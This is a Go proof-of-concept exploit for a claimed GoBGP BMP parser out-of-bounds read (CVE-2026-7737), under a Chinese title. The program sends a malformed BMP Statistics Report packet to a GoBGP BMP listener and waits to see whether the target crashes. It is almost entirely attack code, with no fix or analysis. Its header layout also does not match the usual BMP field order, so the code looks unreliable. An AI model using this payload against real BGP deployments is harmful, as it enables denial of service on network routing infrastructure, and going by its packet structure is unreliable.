CVE-2026-7737 GoBGP越界读取漏洞

package main import ( "bytes" "fmt" "net" ) // PoC for CVE-2026-7737: GoBGP BMP Parser Out-of-Bounds Read // This PoC attempts to trigger the vulnerability by sending a malformed BMP packet func main() { // Target GoBGP BMP server address target := "127.0.0.1:1790" // Constructing a malformed BMP packet to trigger out-of-bounds read // Vulnerability lies in BMPPeerUpNotification.ParseBody or BMPStatisticsReport.ParseBody packet := []byte{ 0x04, // BMP Version 0x00, // Padding 0x00, // Padding 0x00, // Padding // Type 4: Statistics Report (Vulnerable) 0x04, // Length set to be short to truncate expected fields 0x00, 0x00, 0x0A, } // Append truncated body packet = append(packet, 0xAA, 0xBB) conn, err := net.Dial("tcp", target) if err != nil { fmt.Printf("Failed to connect: %v\n", err) return } defer conn.Close() fmt.Println("Sending malformed BMP packet...") _, err = conn.Write(packet) if err != nil { fmt.Printf("Failed to send: %v\n", err) return } fmt.Println("Packet sent. Check target for crash.") }